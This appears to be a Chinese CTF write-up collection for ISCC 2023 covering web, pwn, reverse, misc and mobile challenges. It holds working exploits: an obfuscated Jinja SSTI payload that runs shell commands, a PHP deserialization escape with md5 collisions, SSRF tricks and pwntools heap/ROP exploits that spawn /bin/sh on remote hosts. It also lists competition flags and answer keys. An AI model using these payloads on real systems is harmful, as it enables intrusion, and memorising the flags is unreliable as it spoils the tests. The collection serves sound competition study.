else{
//Try to encrypt
if(isset($sha1) && isset($sha2) && isset($user)){
[$crypto, $user] = SecurityCheck($sha1,$sha2,$user);
if((substr(sha1($crypto),-6,6) =<mark> substr(sha1($user),-6,6)) && (substr(sha1($user),-6,6)) </mark>= 'a05c53'){//welcome to ISCC
if((MyHashcode("ISCCNOTHARD") === MyHashcode($_GET['password']))&&Checked($_GET['password'])){
include("f1ag.php");
echo $flag;
}else{
die("就快解开了!");
}
}
else{
die("真的想不起来密码了吗?");
}
}else{
die("密钥错误!");
}
}
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 1e4) + rand(1, 1e4));
?>
题目：
1.
ISCCNOTHARD经过MyHashCode()得到787668828277355348
password不能包含ISCC，且经过MyHashCode()需等于787668828277355348
2.
get接收$user=username，sha1，sha2，要求$sha1全部小写,$sha2全部大写
$sha1变为大写，$sha2变为小写，然后异或得到$crypto，
$user变为大写
3.
强比较判断crypto和user的sha1值的后六位是否为a05c53
思路：
穷举爆破sha1值得到user
构造两串字符串相异或后sha1后六位是为a05c53的两个字符串得到crypto
根据MyHashCode和intval40函数反推算法，构造出url编码构成的password
password2不能=5
注意sha2的参数名：%E2%80%AE%E2%81%A6//sha2%E2%81%A9%E2%81%A6sha2（这一串全都是）
最终构造的payload:
password=%45%ef%df%df%ea%eb%f0%e4%dd%ee%e4
password2=6
username=Q91ZNRJ1FQNMBZ16ND
sha1=aaaz
%E2%80%AE%E2%81%A6//sha2%E2%81%A9%E2%81%A6sha2=JEJF
穷举出后6位为a05c53的username，不能有小写字母
纯数字
87540541938
9347377076
4034420305703
数字加大写字母
BI48U
ZKF1W6E2VRQBC8K
Q91ZNRJ1FQNMBZ16ND
A0EYYBGA973FTYGXW2958VRI2F26E5
构造两串字符串相异或后
sha1后六位是为a05c53的两个字符串
先把大写字母和小写字母异或可得的字符组列出来
import string
from collections import Counter
tmp = b''
for i in string.ascii_uppercase:
for j in string.ascii_lowercase:
tmp+=strxor(j.encode(),i.encode())
tmp = Counter(tmp)
print(sorted([i for i in tmp]))
然后发现是ASCII范围32-63的字符
import hashlib
import itertools
from Crypto.Util.strxor import strxor
for s in range(1,6):
for i in itertools.product(range(32,64), repeat=s):
if sha1(bytes(i))[-6::] == 'a05c53':
print(bytes(i))
符合条件的有（就爆了五位字符以内）
+$+<
%(= /
79;4"
:9,)
以+$+<为基准，用aaaz异或，得到JEJF
sha1=aaaz
%E2%80%AE%E2%81%A6//sha2%E2%81%A9%E2%81%A6sha2=JEJF
运算得到MyHashcode("ISCCNOTHARD")的值是787668828277355348
通过算法反推，构造一个url编码构成的password的MyHashcode函数返回值也是787668828277355348
def mod40WithSubNum(num:int):
for subnum in range(256,1,-1):
subed_num = num - subnum
if subed_num % 40 == 0:
return subed_num//40,subnum
num = 787668828277355348
password = ''
while True:
num,i = mod40WithSubNum(num)
# print(num,hex(i))
password = f'%{hex(i)[2:]}' + password
if num<256:
password = f'%{hex(num)[2:]}' + password
break
print('password =',password)
exp
http://47.94.14.162:10008/?password=%45%ef%df%df%ea%eb%f0%e4%dd%ee%e4&password2=6&username=Q91ZNRJ1FQNMBZ16ND&sha1=aaaz&%E2%80%AE%E2%81%A6//sha2%E2%81%A9%E2%81%A6sha2=JEJF
ISCC内部零元购-2
访问/zHbPL_v@k0F9.key
得到公钥
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC8qs99ys37JO240cULA/e2BOG8
d2eC3OnL41PXJ/xb6UczxcLKJAou4k2bndxdD+EHfCj950mg4AfH63Ob/UHz5IWj
z8WdTE9KaXSXnWOTwuxF1WPzP9bXn6v8TRv+7ufpEfPObGI4Ww9s0ZptdSM84wUa
kd5hYybaIui5Ys3ZGwIDAQAB
-----END PUBLIC KEY-----
解密
n = 132486633425249684398812299221072826165664562853444441610785394949746484209039997478214965812462457160574226038495563796417085470364977551728314483810965626444912943832578693716909596105099341392678159590492373982058833551463804400478237538155915815623563695014441311146186490747479322363495352275411030366491
e = 65537
老狼老狼几点了
输12得到源码
<?php
//"Hello! welcome to ISCC, wish you have a great time!";
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
echo time();
class what_time_is_it{
protected $func, $target;
public function __construct($show_time){
$this->func = $show_time;
}
public function __wakeup(){
echo "wakeup";
}
public function call_func(){
$lets_show_time = unserialize($this->filter($this->func));
if($lets_show_time['function'] == "show_time"){
echo 'The time is: ". date("h:i:sa", time()). "<br>';
}
else if($lets_show_time['function'] == "hack"){
file_put_contents('time.php', "<?php echo 'The time is: ". date("h:i:sa", time()). "<br>';");
echo "做撚啊做，你还是看看时间吧";
include($lets_show_time['file']);
}
else
highlight_file(__file__);
}
private function filter($s){
return preg_replace('/base64/i','', $s);
}
public function __destruct(){
$this->call_func();
}
}
if($_SESSION) unset($_SESSION);
$p1 = $_POST['param1'];
$p2 = $_POST['param2'];
$_SESSION['function'] = isset($_GET['func']) ? $_GET['func'] : "highlight_file";
$_SESSION['file'] = 'time.php';
if ($p1 !<mark> $p2 && md5($p1) </mark>= md5($p2)){
if (substr($p1, 0, 10) === strval(time())){
echo "Just the time";
extract($_POST);
$_SESSION['file'] = 'time.php';
$_SESSION['function'] = "show_time";
}
else{
echo "Sorry wrong time!";
}
}
$let_me_show_time = serialize($_SESSION)."<br>";
$a = new what_time_is_it($let_me_show_time);
__destruct()→call_func()
$a接收lets_show_timesession里传递的反序列化数据，然后序列化
call_func调用filter函数过滤base64
POST接收param1和param2作为p1,p2，md5弱比较，但是p1的前十位要求等于一个未来的时间戳（十位数字）
所以只能用fastcoll碰撞md5得到p1，p2
GET接收func作为session里的function；
如果 $lets_show_time['function'] 为 hack,会将date("h:i:sa", time())写入time.php文件
然后包含$lets_show_time['file']，即包含time.php,通过POST向session传参改file可以包含到flagl
伪协议读文件php://filter/read=convert.basebase6464-encode/resource=flag.php
extract()函数可以实现变量覆盖和创建新变量(把post里的值取出来变为PHP变量，比如name=user,则为$name=user)(先这么理解），此题可用POST传参将_SESSION当中的参数覆盖，但是代码51，52行（自己往上翻）会将session中file和function的值重新赋值，故考虑session反序列化逃逸
原理参考这篇：https://blog.csdn.net/weixin_52585514/article/details/124200376
构造_SESSION[0]，利用filter函数的过滤按照escape传入的反序列字符串填充base64
先构造escape，包含题目中的file和function两个参数，func是私有属性构造payload时要加上%00类名%00，构造出来后将session值反序列化一下得到需要逃逸的反序列化字符串长度
再令file=，function=1，构造出被session[0]“吃掉”的字符串，传参后反序列化内容如下
{s:1:"0";s:[length]:"[填充的base64字符串]"s:4:"file";s:1:"0";s:8:"function";s:1:"1";s:6:"escape":[length]:"[逃逸出来的字符串]"}
其中这一段";s:4:"file";s:8:"time.php";s:8:"function";s:9:"show_time";s:6:"escape";s:122:
字符串的长度为78
故只需填充长度为78的session[0]，即13组base64，即可完成构造
实际传入的反序列化数据
a:4:{i:0;s:78:"base64base64base64base64base64base64base64base64base64base64base64base64base64";s:4:"file";s:8:"time.php";s:8:"function";s:9:"show_time";s:6:"escape";s:122:";s:4:"file";s:57:"php://filter/read=convert.basebase6464-encode/resource=flag.php";s:8:"function";s:4:"hack";s:1:"s";s:0:"";}
先选择一个未来的timestamp，然后用fastcoll碰撞md5，得到p1 p2
然后session反序列化逃逸，在timestamp对应时间传入参数
payload
param1=1683724500%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00R8%BD%A0%3C%D9%A9%3E%BB%92%F6%C6%0B%96%23%B4%E2%23N%16%CF%2AU%0FK%7E%81%BDN%9C%C44%A5%F3%D4%C6%CE%A6%1E%3E%EF%19%E0%DB%D8%EF%E1%96%0D%B618%B6%C0%BCI%5C%B1%B1%7B%9E%91%B6d%0FN6%F6%86%16%F7%26Y3%F5%EDv%8B%2B%F0%CD%8DK%8A%27%D8%A6%7F%84%DB%8F__%60-%C1v%D8%B8%0E%86%E9r%F6%1D%97kq%AA%AD%FD%28j%86%91%E3%C5%D2K%238%15%AEr%3F%F9%2Au
¶m2=1683724500%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00R8%BD%A0%3C%D9%A9%3E%BB%92%F6%C6%0B%96%23%B4%E2%23N%96%CF%2AU%0FK%7E%81%BDN%9C%C44%A5%F3%D4%C6%CE%A6%1E%3E%EF%19%E0%DB%D8o%E2%96%0D%B618%B6%C0%BCI%5C%B1%B1%FB%9E%91%B6d%0FN6%F6%86%16%F7%26Y3%F5%EDv%8B%2B%F0%CD%8DK%0A%27%D8%A6%7F%84%DB%8F__%60-%C1v%D8%B8%0E%86%E9r%F6%1D%97kq%AA-%FD%28j%86%91%E3%C5%D2K%238%15%AE%F2%3F%F9%2Au
&_SESSION[a]=base64base64base64base64base64base64base64base64base64base64base64base64base64
&_SESSION[function] =1
&_SESSION[file]=1
&_SESSION[escape]=;s:4:"file";s:57:"php://filter/read=convert.basebase6464-encode/resource=flag.php";s:8:"function";s:4:"hack";s:1:"s";s:0:"";}
这个脚本打不通的话就用burp发包，然后把请求包curl下来
然后用在线网站https://curlconverter.com/转换为python脚本
将里面的data替换掉上面exp里的7-16行再运行即可
Chatggg
SSTI
ask={% print []|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(415)("\x62\x61\x73\x65\x36\x34\x20\x66\x6c\x6c\x6c\x61\x61\x67\x2e\x74\x78\x74",shell=True,stdout=-1)|attr("\x63\x6f\x6d\x6d\x75\x6e\x69\x63\x61\x74\x65")() %}
misc
misc1 人生之路
纯脑洞题，画图得码表（
压缩包密码是
人生之路.jpeg
先rot成d开头的字符串，然后wsad画图，对应上下左右的线
然后i代表长线，z代表短线
将这个脚本放到flag.txt同目录运行
import string
c=open('flag.txt').read()
c=c.strip()
a=c.split(" ")
a=list(a[0])
p=0
for i in a:
if i in string.ascii_lowercase:
i=chr((ord(i)-97+p)%26+97)
while i not in "wasd":
i=chr((ord(i)-97+1)%26+97)
p+=1
elif i in string.ascii_uppercase:
i=chr((ord(i)-65+p)%26+65)
while i not in "ZI":
i=chr((ord(i)-65+1)%26+65)
p+=1
a=list(c)
for i in range(len(a)):
if a[i]==" ":
pass
else:
if a[i] in string.ascii_lowercase:
a[i]=chr((ord(a[i])-97+p)%26+97)
elif a[i] in string.ascii_uppercase:
a[i]=chr((ord(a[i])-65+p)%26+65)
a="".join(a)
a=a.split(" ")
map={
"saIsIwIdIwaIsdIsI": "A",
"sZwZdZsZaZdZsZaZ": "B",
"aZsZdZ": "C",
"sZwZdZsZaZ": "D",
"dZaZsIdZaZsIdZ": "E",
"dZaZsZaIdZ": "F",
"aZsZdZwIaI": "G",
"sZwIdZwIsZ": "H",
"dZaIsZaIdZ": "I",
"dZaIsZaI": "J",
"sZwIdIdwIsaIsdI": "K",
"sZdZ": "L",
"wZsdIwdIsZ": "M",
"wZsdZwZ": "N",
"sZdZwZaZ": "O",
"sZwZdZsIaZ": "P",
"aZwZdZsZsdI": "Q",
"sZwZdZsIaZdZsI": "R",
"aZsIdZsIaZ": "S",
"dZaIsZ": "T",
"sZdZwZ": "U",
"sIsdIdwIwI": "V",
"sdZwdZsdZwdZ": "W",
"sdZwaIwdIsaZ": "X",
"sdIwdIsaIsI": "Y",
"dZsaZdZ": "Z",
"aIsIaIdIsIdI": "{",
"dIsIdIaIsIaI": "}"
}
for i in a:
print(map[i],end='')
print()
misc2 汤姆历险记
分离压缩包，文件尾字频统计得到压缩包密码
{yasuobpwrd91702!@$%^&*}
摩斯码，换行做分隔符
1倍行距. 1.5倍行距-
数出来的内容摩斯解码然后用字典换一下就是flag
dictionary = open('./dictionary.txt','r').read().split('\n')[:-1]
dict1 = {}
for pair in dictionary:
key, value = pair.split(':')
dict1[key] = value
print(dict1)
message="ISCC{sndgakea}"
[print(dict1.get(i),end='')if i in dict1 else print(i,end='') for i in message ]
exp眼熟吗，消息传递复制来的...
菜鸟黑客2
导出emoji.jpg
文件尾有压缩包
密码是ISCC2023
解压是vigenere
Key是emojiisfun，不知道去哪找
Pwn
Double
free没有清指针可以double free
from pwn import *
#p = process('./double')
p = remote('59.110.164.72',10021)
context(arch='amd64', log_level='debug')
menu = bytes.fromhex('EFBC9A')
def add(idx,size):
p.sendlineafter(menu, b'1')
p.sendlineafter(menu, str(idx).encode())
p.sendlineafter(menu, str(size).encode())
def free(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(menu, str(idx).encode())
def show(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(menu, str(idx).encode())
def edit(idx,msg):
p.sendlineafter(menu, b'4')
p.sendlineafter(menu, str(idx).encode())
p.sendafter(menu, msg)
add(0,0x68)
add(1,0x68)
add(62,0x71)
free(0)
free(1)
free(0)
add(0,0x68)
edit(0, p64(0x6021d0))
add(1,0x68)
add(2,0x68)
add(3,0x68)
edit(3, b'/bin/sh\x00' + p64(0x15CC15CC) + b'B'*0x38 + p64(0xCC51CC51))
#gdb.attach(p, 'b*0x400939\nc')
p.sendlineafter(menu, b'5')
p.recvuntil(b'congratulations! Give you a reward: ')
stack = int(p.recvline(), 16)
print(f"{stack = :x}")
pop_rdi = 0x0000000000400cb3 # pop rdi ; ret
bin_sh = 0x6021e0
p.sendafter(b"please input what you want to say:\n",flat(pop_rdi,bin_sh,0x4008eb,0,stack-8) + p64(pop_rdi+1)*24 + flat(pop_rdi, bin_sh, 0x4008eb))
p.sendline(b'cat flag.txt')
p.interactive()
chef
选4进入真正菜单后,edit时长度溢出,改头释放得到unsort,在malloc_hook写one_gadget
from pwn import *
#p = process('./chef')
p = remote('59.110.164.72',10031)
context(arch='amd64', log_level='debug')
libc = ELF('./libc-2.23.so')
menu = b':'
def add(size, msg='A'):
p.sendlineafter(menu, b'2')
p.sendlineafter(menu, str(size).encode())
p.sendafter(menu, msg)
def free(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(menu, str(idx).encode())
def show():
p.sendlineafter(menu, b'1')
def edit(idx,size,msg):
p.sendlineafter(menu, b'3')
p.sendlineafter(menu, str(idx).encode())
p.sendlineafter(menu, str(size).encode())
p.sendafter(menu, msg)
p.sendlineafter(menu, b'4')
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
add(0x18)
add(0x48)
add(0x48)
add(0x18) #3
edit(0, 0x20, p64(0)*3 + p64(0xa1)[:-1])
free(1)
add(0x48) #1
show()
p.recvuntil(b'2 : ')
libc.address = u64(p.recv(6).ljust(8,b'\x00')) - 0x58 - 0x10 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")
add(0x48) #4
free(1)
free(4)
show()
p.recvuntil(b'2 : ')
heap = u64(p.recvuntil(b'3 : ', drop=True).ljust(8,b'\x00')) - 0x40
print(f"{heap = :x}")
free(3)
edit(2, 0x58, b'\x00'*0x48 + p64(0x21) + p64(heap))
add(0x18) #3
add(0x18, p64(0)+ p64(libc.address + one[0]))
p.sendlineafter(menu, b'5')
p.sendlineafter(menu, b'5')
p.sendline('cat flag*')
p.interactive()
谜语人
32位libc-2.27 每次进入菜单要覆盖v7为0，通过0x1000的输入缓冲区造大块释放得到libc
将第3个函数指针改为system然后执行v14,题目给的libc-2.27-ubuntu1.6-i386实际使用的是3ubuntu不是同一个版本。所以一直远程没通过，太过相信赛事方了，后来打出来发现有误。
from pwn import *
#p = process('./Riddler')
p = remote('59.110.164.72',10028)
context(arch='i386')
elf = ELF('./Riddler')
libc = ELF('./libc.so')
def show(off):
p.sendafter(b"Then?\n", b"0"+ b'\x00'*11)
p.sendlineafter(b"emmm?!\n", str(off).encode())
def free(off):
p.sendafter(b"Then?\n", b"1"+ b'\x00'*11)
p.sendlineafter(b"emmm?!\n", str(off).encode())
def add(off):
p.sendafter(b"Then?\n", b"2"+ b'\x00'*11)
p.sendlineafter(b"emmm?!\n", str(off).encode())
def edit(off, msg):
p.sendafter(b"Then?\n", b"3"+ b'\x00'*11)
p.sendlineafter(b"emmm?!\n", str(off).encode())
p.sendline(msg)
def back_door(msg):
p.sendlineafter(b"Then?\n", b"0")
p.sendlineafter(b"emmm?!\n", b'0')
p.send(msg)
show(0)
elf.address = u32(p.recv(4)) - elf.sym['fun']
print(f"{elf.address = :x}")
add(3)
add(4)
free(4)
free(3)
show(3)
heap = u32(p.recv(4)) - 0x1230
print(f"{heap = :x}")
edit(3, p32(heap + 0x1c0))
add(5)
add(6)
edit(6, p32(elf.sym['__do_x86_back_Door_']))
context.log_level='debug'
back_door(p32(elf.got['puts']))
libc_address = int(p.recv(8),16) - 0x67560
print(f"{libc.address = :x}")
edit(6, p32(libc_address + 0x3cf10))
edit(5, b'/bin/sh\x00')
p.sendafter(b"Then?\n", b"0"+ (p32(8)*3)[:-1])
p.sendlineafter(b"emmm?!\n", b'5')
#gdb.attach(p)
#pause()
p.sendline(b'cat /flag*')
p.interactive()
第二识势-2
libc-2.23通过修改top_chunk头，建块到bsf（bsf在heap前，需要一个负数，输入4字节负整数时会被自动扩展符号位到8字节整型，所以仅允许输入整数不影响写大块）再建小块覆盖bsf，进行下一步，func_111001有溢出，执行两次泄露libc并执行shell。flag是rabbit加密的，提示是bsf
still have a lot of strokes to learn，前边覆盖bsf时要求16位为aflag后来去掉密码部分了
from pwn import *
#p = process('./p7')
p = remote('59.110.164.72', 10025)
context(arch='amd64', log_level='debug')
elf = ELF('./attachment-34')
libc = ELF('./libc.so.6')
#gdb.attach(p, 'b*0x400925\nc')
pop_rdi = 0x0000000000400bd3 # pop rdi ; ret
p.sendafter(b"Start injecting\n", b'\x00'*0x18)
p.recvline()
aaa = int(p.recvuntil(b'd', drop=True))
print(f"{aaa = :x}")
p.sendline(str(0xffffff51).encode()) #top_chunk
#0x6012b0 - aaa
p.sendline(str((0x6012b0-0x20-aaa)&0xffffffff).encode())
p.sendafter(b"Answer time is close to over\n", b'a'*0x10)
p.sendafter("Direct to destination", b'\x00'*0x80 + flat(0x601a00,pop_rdi, elf.got['puts'],elf.plt['puts'], 0x4008a7))
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
p.sendafter("Direct to destination", b'\x00'*0x80 + flat(0x601a00,pop_rdi, next(libc.search(b'/bin/sh\x00')),libc.sym['system'], 0x4008a7))
p.sendline(b'cat flag*')
p.interactive()
re
re奇门遁甲
按顺序输入
3 1 2 8 4 5 6 7
获得的碎片结果拼起来，
不用管出门密码
结果包上ISCC{}
re4 convert
z3约束求解
提取v8，如果不完整就下个断点在 qmemcpy和strcpy后
填入data 长度是23
data=[ ]
from z3 import *
x=[BitVec("x[%d]"%i ,8) for i in range(23)]
key =[ord(i) for i in "ISCC"]
for i in range(23):
x[i]-=32
x[i]+=i
for j in range(4):
x[j] += j ^ -(key[j] % 4)
x[j + 4] += key[j] % 5
x[j + 8] += 2 * j
x[j + 12] += x[j + 4]
x[j + 16] += key[j] / 5
S= Solver()
for i in range(23):
S.add(x[i] == data[i])
S.check()
print(S.model())
x=[0]*23
#z3的输出结果，去掉逗号后填到下面
x[16] = 55
x[0] = 73
x[19] = 33
x[15] = 73
x[10] = 61
x[13] = 83
x[3] = 67
x[6] = 49
x[11] = 83
x[4] = 123
x[5] = 82
x[1] = 83
x[12] = 78
x[20] = 77
x[18] = 47
x[21] = 86
x[7] = 47
x[2] = 67
x[22] = 125
x[8] = 67
x[17] = 41
x[14] = 85
x[9] = 62
for i in x:
print(chr(i),end='')
Pull the Wool Over People's Eyes
key不动
去找自己附件的01字符串
很明显，
key = list(b'ISCC{ACYeeeloorrsuv}')
v10 = "0000000000000000000000000000000000000000001001100001000100111111000100100010001000110110000111100000000100100100001101010011010100000110001011010000110000000000"
print("".join([chr(int(v10[i*8:i*8+8],2)^key[i]) for i in range(len(v10)//8)]))
《狂彪》-2
需要Crypto库
pip install pycryptodome
脚本放到cellphone.enc同目录运行
from Crypto.Cipher import AES
import zipfile
import io
def decrypt_data(key, enc_file):
with open(enc_file, "rb") as f:
enc = f.read()
data = AES.new(key, AES.MODE_CBC, key).decrypt(enc)
zip_data = data[0x1d4c36:]
zip_data = io.BytesIO(zip_data)
zip_file = zipfile.ZipFile(zip_data)
zip_list = zip_file.namelist()
elf_name = zip_list[1]
zip_file.extract(elf_name, '.', pwd=key)
zip_file.close()
with open(elf_name, "rb") as f:
elf_data = f.read()
return elf_data[0xe010:0xe030]
def generate_flag(data):
flag = "ISCC{tHe_5eY@"
for i in range(len(data)):
d = data[i] - 16
d ^= 2
d += 44
flag += chr(d)
return flag
if __name__ == '__main__':
key = b"1422201965553241"
enc_file = "cellphone.enc"
data = decrypt_data(key, enc_file)
flag = generate_flag(data)
print(flag)
mobile
NOJAVA
s = '' # 填入你找到的eyj字符串
a = bin(int.from_bytes(s.encode(), "big"))[2:]
a = (4-(len(a)%4))*'0'+a
a = [a[i*4:(i+1)*4] for i in range(len(a)//4)]
payload = ""
for i in a:
if i=="1001":
payload+="10"
elif i=="0110":
payload+="01"
elif i=="1010":
payload+="11"
elif i=="0101":
payload+="00"
else:
print("waaa")
print(b"ISCC{"+bytes.fromhex((hex(int(payload, 2)))[2:])+b'}')
练武 week3
web
ISCC单身节抽奖
ISCC{40zlYQsP2O3Zn26jSu67f7aMH5NdLrIe}
滥用职权-3
ISCC{5TokDjs2iStKq38cfxihzIKaYKYTfc7K}
Misc
Mystery of bits
压缩包密码
ISCC{congratulation_and_it_is_real}
通信方式
眼花缭乱
梯度泄露攻击
https://zhuanlan.zhihu.com/p/439962757
https://github.com/wangjunxiao/GradDefense
re
Congratulations
把v9提出来，没看到[25]就不要改
v9 = [0 for i in range(26)]
v9[0] = -91;
v9[1] = 67;
v9[2] = 83;
v9[3] = -108;
v9[4] = 112;
v9[5] = -68;
v9[6] = -68;
v9[7] = 91;
v9[8] = 30;
v9[9] = -111;
v9[10] = 91;
v9[11] = 80;
v9[12] = 79;
v9[13] = -74;
v9[14] = 114;
v9[15] = -74;
v9[16] = -88;
v9[17] = -83;
v9[18] = 102;
v9[19] = -83;
v9[20] = -70;
v9[21] = -103;
v9[22] = 75;
v9[23] = 106;
v9[24] = -9;
v9[25] = 0x5f
for i in range(25):
v9[i] = ((v9[i] & 0xff) ^ 0x53) & 0xff
for i in range(25 - 1):
v9[24 - i] = v9[24 - i] + v9[25 - i]
for i in range(25):
v9[i] = v9[i] + 30
c = ''
for i in range(25):
c += chr(v9[i] & 0xff)
a = 'zabcdefghijklmnopqrstuvwxy'
a1 = 'abcdefghijklmnopqrstuvwxyz'
b = 'ZABCDEFGHIJKLMNOPQRSTUVWXY'
b1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
f = 'H' + c[1:] + '}'
p = ''
for m in f:
if m in a:
p += a1[a.index(m)]
elif m in b:
p += b1[b.index(m)]
else:
p += m
print(p)
CrackMePlease
main_0函数
在strcmp(str1,str2)这行下断点
输入aaaaaaaaaaaaaaa
(几个a都行别太长)
鼠标放到Str1上，就是flag
去掉{EASY}
像tm这种带斜杠的，交的时候去掉一个，别问，问就是基础知识
Pwn
pwn1 困境
ISCC{9876-fbdb-4061-87ec-8dd1}
Eat_num
ISCC{9727-0381-4c23-bc9c-76be}
SIMS
ISCC{0b65-5ede-4a64-9a51-9254}
mobile
MobileTest
ISCC{FLAGISk^iam=ei}
ManyMany
解压一下找到lib下 arm64-v8a 文件夹的so文件
反编译（IDA）找stub函数
然后脚本对应填一下
s = "" #第一段密文 stub函数第170行
reversed_str = s[::-1]
print("ISCC{"+reversed_str,end='')
str1 = "" #第二段密文 stub函数第225行
str2 = ''
map = {0:0, 4:1, 1:2, 5:3, 2:4, 6:5, 3:6, 7:7}
for i in range(8):
a = map[i]
# print(i,str1[a])
str2 += str1[a]
print(str2+"}")
擂台 （擂台除了靶机题会变，都是静态flag）
擂台还是那么逆天
Misc
misc1
png的lsb里面是dp，这题是dp泄露
然后c的最后24位是有用的
#coding:utf-8
import libnum
import gmpy2
n= 141290037064947566206529132717181370698234864868642699047557973411457219735533077057541763794458453776854205535054584663279827865601322416203933147042933586981716703290143924844104156938834839095947246954751648421206411462640039984758358072222401824528712347742351563547663982933462992608020341150998418481469
e= 65537
dp= 2936286219093303777418371546225255143842612472610971843988746529814389509867813402303613618004332742373489872827166011551286889156611423726591335004601013
c1 = 15675664162517005241985334850747322279876279456574700862907552681481377133185544579989247038799479171776327240780404882118904537725766312056443466295064750703372005792416973033030771437551025381553764003235556081094078622478104365189796833112914604071350200351731894133093904945300457608647456120613115797620
c2 = 140861103274216455230721845501898308648236818144495265653434927079070691530723508171403973717514275151780171294904394774518093215002953258888100585054189890096052341414700257111375220034066504715553430076834975116291241799793991901777387974579764040747570218791785702867501258811622798523769676652686058178795
c3 = 99529796079917923667416703621596340605976154418748680997166709360261843180294998507573349072387930043122958288285449187996957718834900637362680133270163491814007472682256839243994660305780477877832077377778094226956503797223980753581850455217835856249465622909655714810911375056415139213238490343537769816334
for i in range(1,65535):
p=(dp*e-1)//i+1
if n%p==0:
q=n//p
break
phi_n= (p-1)*(q-1)
d=gmpy2.invert(e,phi_n)
m1=pow(c1,d,n)
m2=pow(c2,d,n)
m3=pow(c3,d,n)
print(libnum.n2s(int(m1))[-24:-1].decode())
print(libnum.n2s(int(m2))[-24:-1].decode())
print(libnum.n2s(int(m3))[-24:-1].decode())
# ISCC{iu5a!ui*3qehbca@90
# &rhic+hj69at8v*r346z9(b
# yawa5t0vr35-vr^if89%hu}
misc2
套中套中套。
最后一步是egg17
ISCC{happy_cat_511215}
misc4
内存取证
mspaint图
among us流量
misc5 G9的钢琴曲
第一步，rsa
CRT合并，然后coppersmith求解
得到密码
ISCC_Y0u_R3alLy_KnOw_CoPPersm1th
解压，里面用Cloakify解
hint是decabit-code，不用hint也行
类型是desserts
python2 decloakify.py ../music.rar ciphers/desserts
然后解出来是个WAV
可以看到一段有+和-的字符串
提取出来，01转换二进制
import libnum
with open("./music .wav", "rb") as f:
data = f.read()[0x6C:0x1192]
cipher_text = ""
for i in data:
if i == 0x2d:
cipher_text+='0'
if i == 0x2b:
cipher_text+='1'
# print(cipher_text)
print(libnum.b2s(cipher_text).decode())
ISCC{Congr4tulations_on_complet1ng_th1s_ch4llenge}
web
web1
源码泄露
# -*- coding: utf-8 -*-
import random
import os
from flask import Flask, render_template, request, session, redirect, url_for, jsonify
from random import randint, choices
import requests
import string
import ssrfprotect
random.seed(os.urandom(2))
app = Flask(__name__)
app.config['SECRET_KEY'] = ''.join(random.sample(string.ascii_letters + string.digits, 4))
class Treasure:
def __init__(self, location):
self.location = location
self.house = os.path.dirname(self.location)
self.gold = os.path.basename(self.location)
class Bighouse:
def __init__(self, treasure):
self.treasure = treasure
def __str__(self):
if 'Bighouse' in self.treasure.location:
return '你当着老大的面去找，结果被识破了'
elif 'Treasure' in self.treasure.location:
return '满屋的金银财宝让你迷失了自我'
else:
info = '你去这里找了：\n'
filepath = (self.treasure.house + '/' + '{treasure.gold}').format(treasure=self.treasure)
info += filepath
info += '\n\n你找到了：\n'
try:
f = open(filepath, 'r')
mes = f.read()
f.close()
except:
mes = '什么都没找到还挨了顿打'
info += mes
return info
@app.route('/*********', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
url = request.form['url']
try:
r = requests.get(url)
# Personalized Customization Library
s = ssrfprotect.get(url)
except:
return render_template('robber.html', result='你不是自己人，别装了')
r = requests.get(url)
return render_template('robber.html', result=r.text)
return render_template('robber.html')
@app.route('/flag')
def flag():
if request.remote_addr == '127.0.0.1':
if request.args.get('find'):
location = request.args.get('find')
flag = Bighouse(Treasure(location))
return str(flag)
else:
return '自己人应该知道老大把flag放在了/Bighouse/Treasure里面'
else:
return '你不是自己人，别装了'
@app.errorhandler(404)
def error(errors):
return '页面不存在'
@app.route('/hint')
def home():
if session.get('level'):
level = session.get('level')
return render_template('hint.html', level=level)
@app.route('/', methods=['GET'])
def login():
if not session.get('user'):
session['user'] = 'visitor'
if not session.get('level'):
session['level'] = 1
if request.method == 'GET':
number_list = random.sample(list(range(1, 10)), 9)
return render_template('index.html', num_list=number_list, level=session['level'], user=session['user'])
if __name__ == '__main__':
app.run(host='0.0.0.0', port=83)
<?php
$f = fopen("a.txt",'r');
$flag = fread($f,filesize("a.txt"));
fclose($f);
echo $flag;
if($flag == 1){
echo "sss";
$f = fopen("a.txt","w");
fwrite($f,'2');
fclose($f);
exit();
}
if($flag == 2){
echo "sss";
$f = fopen("a.txt","w");
fwrite($f,'3');
fclose($f);
exit();
}
$url = 'http://127.0.0.1:83/flag?find=/Bighouse/Treasure';
header("LOCATION: $url");
$f = fopen("a.txt",'w');
fwrite($f,'1');
fclose($f);
exit;
?>
web2 3D建模大赛
全网第一份wp应该，一血他们是出题人给的flag
web部分，是改的贵阳杯的题
<?php
header("Content-type:text/html;charset=utf-8");
$flag2 = "flag2 in /flaaaag";
$image=$_GET['imges'];
$allow = range(2,20);
shuffle($allow);
if(($_GET['key']==$allow[0])){
$image = base64_decode($image);
$data = base64_encode(file_get_contents($image));
echo "<img src='data:image/png;base64,$data'/>";
}else{
$image = base64_encode("BL.png");
header("location:/?imges=".$image);
}
echo "别重定向了,给我个数字key吧[2-6]";
爆破读一下flag
import requests
import base64
for i in range(30):
resp = requests.get(f'http://47.94.14.162:10005/?imges=L2ZsYWFhYWc=&key={i}',allow_redirects=False)
